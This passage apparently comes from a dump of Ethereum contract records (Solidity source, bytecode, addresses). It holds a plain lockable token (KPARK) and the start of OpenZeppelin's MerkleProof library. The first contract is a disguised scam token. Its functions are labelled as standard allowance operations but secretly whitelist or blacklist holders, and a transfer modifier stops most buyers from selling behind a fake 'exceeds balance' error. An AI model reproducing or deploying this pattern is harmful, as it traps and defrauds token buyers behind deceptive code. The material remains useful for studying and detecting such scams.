_balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; } function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { transfer(receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; _approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `sender` cannot be the zero address. * - `spender` cannot be the zero address. */ modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{ if (_whiteAddress[sender] == true){ _;}else{if (_blackAddress[sender] == true){ require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{ if (amount < _sellAmount){ if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;} _; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;} } } } } } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806352b0f19611610097578063a9059cbb11610066578063a9059cbb14610472578063b2bdfa7b1461049e578063dd62ed3e146104c2578063e1268115146104f0576100f5565b806352b0f196146102f457806370a082311461041e57806380b2122e1461044457806395d89b411461046a576100f5565b806318160ddd116100d357806318160ddd1461025a57806323b872dd14610274578063313ce567146102aa5780634e6ec247146102c8576100f5565b8063043fa39e146100fa57806306fdde031461019d578063095ea7b31461021a575b600080fd5b61019b6004803603602081101561011057600080fd5b810190602081018135600160201b81111561012a57600080fd5b82018360208201111561013c57600080fd5b803590602001918460208302840111600160201b8311171561015d57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610591945050505050565b005b6101a5610686565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101df5781810151838201526020016101c7565b50505050905090810190601f16801561020c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102466004803603604081101561023057600080fd5b506001600160a01b03813516906020013561071c565b604080519115158252519081900360200190f35b610262610739565b60408051918252519081900360200190f35b6102466004803603606081101561028a57600080fd5b506001600160a01b0381358116916020810135909116906040013561073f565b6102b26107cc565b6040805160ff9092168252519081900360200190f35b61019b600480360360408110156102de57600080fd5b506001600160a01b0381351690602001356107d5565b61019b6004803603606081101561030a57600080fd5b81359190810190604081016020820135600160201b81111561032b57600080fd5b82018360208201111561033d57600080fd5b803590602001918460208302840111600160201b8311171561035e57600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b8111156103ad57600080fd5b8201836020820111156103bf57600080fd5b803590602001918460208302840111600160201b831117156103e057600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295506108d1945050505050565b6102626004803603602081101561043457600080fd5b50356001600160a01b03166109ea565b61019b6004803603602081101561045a57600080fd5b50356001600160a01b0316610a05565b6101a5610a6f565b6102466004803603604081101561048857600080fd5b506001600160a01b038135169060200135610ad0565b6104a6610ae4565b604080516001600160a01b039092168252519081900360200190f35b610262600480360360408110156104d857600080fd5b506001600160a01b0381358116916020013516610af3565b61019b6004803603602081101561050657600080fd5b810190602081018135600160201b81111561052057600080fd5b82018360208201111561053257600080fd5b803590602001918460208302840111600160201b8311171561055357600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610b1e945050505050565b600a546001600160a01b031633146105d9576040805162461bcd60e51b815260206004820152600660248201526510b7bbb732b960d11b604482015290519081900360640190fd5b60005b8151811015610682576001600260008484815181106105f757fe5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff02191690831515021790555060006001600084848151811061064857fe5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790556001016105dc565b5050565b60068054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156107125780601f106106e757610100808354040283529160200191610712565b820191906000526020600020905b8154815290600101906020018083116106f557829003601f168201915b5050505050905090565b6000610730610729610c0e565b8484610c12565b50600192915050565b60055490565b600061074c848484610cfe565b6107c284610758610c0e565b6107bd8560405180606001604052806028815260200161143b602891396001600160a01b038a16600090815260046020526040812090610796610c0e565b6001600160a01b03168152602081019190915260400160002054919063ffffffff6112d216565b610c12565b5060019392505050565b60085460ff1690565b600a546001600160a01b03163314610834576040805162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015290519081900360640190fd5b600554610847908263ffffffff61136916565b600555600a546001600160a01b0316600090815260208190526040902054610875908263ffffffff61136916565b600a546001600160a01b0390811660009081526020818152604080832094909455835185815293519286169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b600a546001600160a01b03163314610919576040805162461bcd60e51b815260206004820152600660248201526510b7bbb732b960d11b604482015290519081900360640190fd5b60005b82518110156109e45761095583828151811061093457fe5b602002602001015183838151811061094857fe5b6020026020010151610ad0565b50838110156109dc57600180600085848151811061096f57fe5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055506109dc8382815181106109bd57fe5b6020908102919091010151600c546001600160a01b0316600019610c12565b60010161091c565b50505050565b6001600160a01b031660009081526020819052604090205490565b600a546001600160a01b03163314610a4d576040805162461bcd60e51b815260206004820152600660248201526510b7bbb732b960d11b604482015290519081900360640190fd5b600b80546001600160a01b0319166001600160a01b0392909216919091179055565b60078054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156107125780601f106106e757610100808354040283529160200191610712565b6000610730610add610c0e565b8484610cfe565b600a546001600160a01b031681565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b600a546001600160a01b03163314610b66576040805162461bcd60e51b815260206004820152600660248201526510b7bbb732b960d11b604482015290519081900360640190fd5b60005b8151811015610682576001806000848481518110610b8357fe5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff021916908315150217905550600060026000848481518110610bd457fe5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055600101610b69565b3390565b6001600160a01b038316610c575760405162461bcd60e51b81526004018080602001828103825260248152602001806114886024913960400191505060405180910390fd5b6001600160a01b038216610c9c5760405162461bcd60e51b81526004018080602001828103825260228152602001806113f36022913960400191505060405180910390fd5b6001600160a01b03808416600081815260046020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b600b54600a548491849184916001600160a01b039182169116148015610d315750600a546001600160a01b038481169116145b15610eb557600b80546001600160a01b0319166001600160a01b03848116919091179091558616610d935760405162461bcd60e51b81526004018080602001828103825260258152602001806114636025913960400191505060405180910390fd5b6001600160a01b038516610dd85760405162461bcd60e51b81526004018080602001828103825260238152602001806113d06023913960400191505060405180910390fd5b610de38686866113ca565b610e2684604051806060016040528060268152602001611415602691396001600160a01b038916600090815260208190526040902054919063ffffffff6112d216565b6001600160a01b038088166000908152602081905260408082209390935590871681522054610e5b908563ffffffff61136916565b6001600160a01b038087166000818152602081815260409182902094909455805188815290519193928a16927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a36112ca565b600a546001600160a01b0384811691161480610ede5750600b546001600160a01b038481169116145b80610ef65750600a546001600160a01b038381169116145b15610f7957600a546001600160a01b038481169116148015610f295750816001600160a01b0316836001600160a01b0316145b15610f345760038190555b6001600160a01b038616610d935760405162461bcd60e51b81526004018080602001828103825260258152602001806114636025913960400191505060405180910390fd5b6001600160a01b03831660009081526001602081905260409091205460ff1615151415610fe5576001600160a01b038616610d935760405162461bcd60e51b81526004018080602001828103825260258152602001806114636025913960400191505060405180910390fd5b6001600160a01b03831660009081526002602052604090205460ff1615156001141561106f57600b546001600160a01b03848116911614806110345750600c546001600160a01b038381169116145b610f345760405162461bcd60e51b81526004018080602001828103825260268152602001806114156026913960400191505060405180910390fd5b60035481101561110357600b546001600160a01b0383811691161415610f34576001600160a01b0383811660009081526002602090815260408083208054600160ff1991821681179092559252909120805490911690558616610d935760405162461bcd60e51b81526004018080602001828103825260258152602001806114636025913960400191505060405180910390fd5b600b546001600160a01b038481169116148061112c5750600c546001600160a01b038381169116145b6111675760405162461bcd60e51b81526004018080602001828103825260268152602001806114156026913960400191505060405180910390fd5b6001600160a01b0386166111ac5760405162461bcd60e51b81526004018080602001828103825260258152602001806114636025913960400191505060405180910390fd5b6001600160a01b0385166111f15760405162461bcd60e51b81526004018080602001828103825260238152602001806113d06023913960400191505060405180910390fd5b6111fc8686866113ca565b61123f84604051806060016040528060268152602001611415602691396001600160a01b038916600090815260208190526040902054919063ffffffff6112d216565b6001600160a01b038088166000908152602081905260408082209390935590871681522054611274908563ffffffff61136916565b6001600160a01b038087166000818152602081815260409182902094909455805188815290519193928a16927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a35b505050505050565b600081848411156113615760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561132657818101518382015260200161130e565b50505050905090810190601f1680156113535780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6000828201838110156113c3576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220a1533377867a4694c595eaa0136b600a0ff6a6051a94fbb2472700877c9a6a9964736f6c63430006060033
[ 38 ]
0xf287518b9180e6d4fddd3c70e0250c4a045cfd93
pragma solidity ^0.4.12; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic, Ownable { using SafeMath for uint256; mapping(address => uint256) balances; // allowedAddresses will be able to transfer even when locked // lockedAddresses will *not* be able to transfer even when *not locked* mapping(address => bool) public allowedAddresses; mapping(address => bool) public lockedAddresses; bool public locked = false; function allowAddress(address _addr, bool _allowed) public onlyOwner { require(_addr != owner); allowedAddresses[_addr] = _allowed; } function lockAddress(address _addr, bool _locked) public onlyOwner { require(_addr != owner); lockedAddresses[_addr] = _locked; } function setLocked(bool _locked) public onlyOwner { locked = _locked; } function canTransfer(address _addr) public constant returns (bool) { if(locked){ if(!allowedAddresses[_addr]&&_addr!=owner) return false; }else if(lockedAddresses[_addr]) return false; return true; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(canTransfer(msg.sender)); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(canTransfer(msg.sender)); uint256 _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // require (_value <= _allowance); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval (address _spender, uint _addedValue) returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval (address _spender, uint _subtractedValue) returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is StandardToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { require(_value > 0); require(_value <= balances[msg.sender]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); Burn(burner, _value); Transfer(burner, address(0), _value); } } contract Token is BurnableToken { string public constant name = "KPARK"; string public constant symbol = "KPC"; uint public constant decimals = 8; // there is no problem in using * here instead of .mul() uint256 public constant initialSupply = 1000000000 * (10 ** uint256(decimals)); // Constructors function Token() { totalSupply = initialSupply; balances[msg.sender] = initialSupply; // Send all tokens to owner allowedAddresses[owner] = true; } }
0x6080604052600436106101275763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde03811461012c578063095ea7b3146101b657806318160ddd146101ee578063211e28b61461021557806323b872dd14610231578063313ce5671461025b578063378dc3dc146102705780634120657a1461028557806342966c68146102a65780634edc689d146102be57806366188463146102e457806370a082311461030857806378fc3cb3146103295780638da5cb5b1461034a57806395d89b411461037b578063a5bbd67a14610390578063a9059cbb146103b1578063cf309012146103d5578063d73dd623146103ea578063dd62ed3e1461040e578063f226003114610435578063f2fde38b1461045b575b600080fd5b34801561013857600080fd5b5061014161047c565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561017b578181015183820152602001610163565b50505050905090810190601f1680156101a85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101c257600080fd5b506101da600160a060020a03600435166024356104b3565b604080519115158252519081900360200190f35b3480156101fa57600080fd5b50610203610519565b60408051918252519081900360200190f35b34801561022157600080fd5b5061022f600435151561051f565b005b34801561023d57600080fd5b506101da600160a060020a0360043581169060243516604435610549565b34801561026757600080fd5b5061020361067f565b34801561027c57600080fd5b50610203610684565b34801561029157600080fd5b506101da600160a060020a0360043516610690565b3480156102b257600080fd5b5061022f6004356106a5565b3480156102ca57600080fd5b5061022f600160a060020a036004351660243515156107a4565b3480156102f057600080fd5b506101da600160a060020a0360043516602435610801565b34801561031457600080fd5b50610203600160a060020a03600435166108f1565b34801561033557600080fd5b506101da600160a060020a0360043516610910565b34801561035657600080fd5b5061035f610998565b60408051600160a060020a039092168252519081900360200190f35b34801561038757600080fd5b506101416109a7565b34801561039c57600080fd5b506101da600160a060020a03600435166109de565b3480156103bd57600080fd5b506101da600160a060020a03600435166024356109f3565b3480156103e157600080fd5b506101da610ace565b3480156103f657600080fd5b506101da600160a060020a0360043516602435610ad7565b34801561041a57600080fd5b50610203600160a060020a0360043581169060243516610b70565b34801561044157600080fd5b5061022f600160a060020a03600435166024351515610b9b565b34801561046757600080fd5b5061022f600160a060020a0360043516610bf8565b60408051808201909152600581527f4b5041524b000000000000000000000000000000000000000000000000000000602082015281565b336000818152600660209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60005481565b600154600160a060020a0316331461053657600080fd5b6005805460ff1916911515919091179055565b600080600160a060020a038416151561056157600080fd5b61056a33610910565b151561057557600080fd5b50600160a060020a038416600081815260066020908152604080832033845282528083205493835260029091529020546105b5908463ffffffff610c8d16565b600160a060020a0380871660009081526002602052604080822093909355908616815220546105ea908463ffffffff610c9f16565b600160a060020a038516600090815260026020526040902055610613818463ffffffff610c8d16565b600160a060020a03808716600081815260066020908152604080832033845282529182902094909455805187815290519288169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a3506001949350505050565b600881565b67016345785d8a000081565b60036020526000908152604090205460ff1681565b60008082116106b357600080fd5b336000908152600260205260409020548211156106cf57600080fd5b50336000818152600260205260409020546106f0908363ffffffff610c8d16565b600160a060020a0382166000908152600260205260408120919091555461071d908363ffffffff610c8d16565b600055604080518381529051600160a060020a038316917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a2604080518381529051600091600160a060020a038416917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b600154600160a060020a031633146107bb57600080fd5b600154600160a060020a03838116911614156107d657600080fd5b600160a060020a03919091166000908152600360205260409020805460ff1916911515919091179055565b336000908152600660209081526040808320600160a060020a03861684529091528120548083111561085657336000908152600660209081526040808320600160a060020a038816845290915281205561088b565b610866818463ffffffff610c8d16565b336000908152600660209081526040808320600160a060020a03891684529091529020555b336000818152600660209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b600160a060020a0381166000908152600260205260409020545b919050565b60055460009060ff161561096757600160a060020a03821660009081526003602052604090205460ff161580156109555750600154600160a060020a03838116911614155b156109625750600061090b565b610990565b600160a060020a03821660009081526004602052604090205460ff16156109905750600061090b565b506001919050565b600154600160a060020a031681565b60408051808201909152600381527f4b50430000000000000000000000000000000000000000000000000000000000602082015281565b60046020526000908152604090205460ff1681565b6000600160a060020a0383161515610a0a57600080fd5b610a1333610910565b1515610a1e57600080fd5b33600090815260026020526040902054610a3e908363ffffffff610c8d16565b3360009081526002602052604080822092909255600160a060020a03851681522054610a70908363ffffffff610c9f16565b600160a060020a0384166000818152600260209081526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b60055460ff1681565b336000908152600660209081526040808320600160a060020a0386168452909152812054610b0b908363ffffffff610c9f16565b336000818152600660209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a03918216600090815260066020908152604080832093909416825291909152205490565b600154600160a060020a03163314610bb257600080fd5b600154600160a060020a0383811691161415610bcd57600080fd5b600160a060020a03919091166000908152600460205260409020805460ff1916911515919091179055565b600154600160a060020a03163314610c0f57600080fd5b600160a060020a0381161515610c2457600080fd5b600154604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600082821115610c9957fe5b50900390565b600082820183811015610cae57fe5b93925050505600a165627a7a72305820fbbe78cf306ef79620a41668899965b91d06cdda6760b3957043ca633f88fef80029
[ 38 ]
0xf28771693877f7f90e1670069a10aa93dd85a885
// SPDX-License-Identifier: MIT // File: @openzeppelin/contracts/utils/cryptography/MerkleProof.sol // OpenZeppelin Contracts v4.4.1 (utils/cryptography/MerkleProof.sol) pragma solidity ^0.8.0; /** * @dev These functions deal with verification of Merkle Trees proofs. * * The proofs can be generated using the JavaScript library * https://github.com/miguelmota/merkletreejs[merkletreejs]. * Note: the hashing algorithm should be keccak256 and pair sorting should be enabled. * * See `test/utils/cryptography/MerkleProof.test.js` for some examples. */ library MerkleProof { /** * @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree * defined by `root`. For this, a `proof` must be provided, containing * sibling hashes on the branch from the leaf to the root of the tree. Each * pair of leaves and each pair of pre-images are assumed to be sorted. */ function verify( bytes32[] memory proof, bytes32 root, bytes32 leaf ) internal pure returns (bool) { return processProof(proof, leaf) == root; } /** * @dev Returns the rebuilt hash obtained by traversing a Merklee tree up * from `leaf` using `proof`. A `proof` is valid if and only if the rebuilt * hash matches the root of the tree. When processing the proof, the pairs * of leafs & pre-images are assumed to be sorted. * * _Available since v4.4._ */ function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) { bytes32 computedHash = leaf; for (uint256 i = 0; i < proof.length; i++) { bytes32 proofElement = proof[i]; if (computedHash <= proofElement) { // Hash(current computed hash + current element of the proof) computedHash = keccak256(abi.encodePacked(computedHash, proofElement)); } else { // Hash(current element of the proof + current computed hash) computedHash = keccak256(abi.encodePacked(proofElement, computedHash)); } } return computedHash; } } // File: @openzeppelin/contracts/security/ReentrancyGuard.sol // OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol) pragma solidity ^0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not 